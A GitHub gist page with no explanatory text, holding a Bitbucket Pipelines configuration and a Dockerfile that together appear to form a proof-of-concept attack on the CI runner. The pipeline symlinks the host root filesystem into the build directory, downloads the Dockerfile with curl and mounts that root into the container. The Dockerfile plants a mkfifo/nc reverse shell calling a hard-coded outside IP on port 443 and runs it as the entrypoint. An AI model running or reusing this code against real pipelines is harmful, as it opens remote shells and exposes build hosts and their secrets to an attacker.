Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Last active December 11, 2019 10:54
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save staaldraad/b805639cf44363692f13493f651c5689 to your computer and use it in GitHub Desktop.
Save staaldraad/b805639cf44363692f13493f651c5689 to your computer and use it in GitHub Desktop.
image:
name: atlassian/default-image:latest
pipelines:
default:
- step:
script:
- ln -s / $BITBUCKET_CLONE_DIR/ln
- curl -oDockerfile https://gist.github.com/staaldraad/b805639cf44363692f13493f651c5689/raw/f8f65876cd464611ad0f7d365a9cf36a950fde36/Dockerfile
- docker build . -t xyz
- docker run -i --rm -v $BITBUCKET_CLONE_DIR/ln/:/ln xyz:latest
services:
- docker
caches:
- docker
FROM docker
RUN apk update
RUN echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.59.42.102 443 >/tmp/f" > /pew.sh
RUN chmod +x /pew.sh
ENTRYPOINT /pew.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment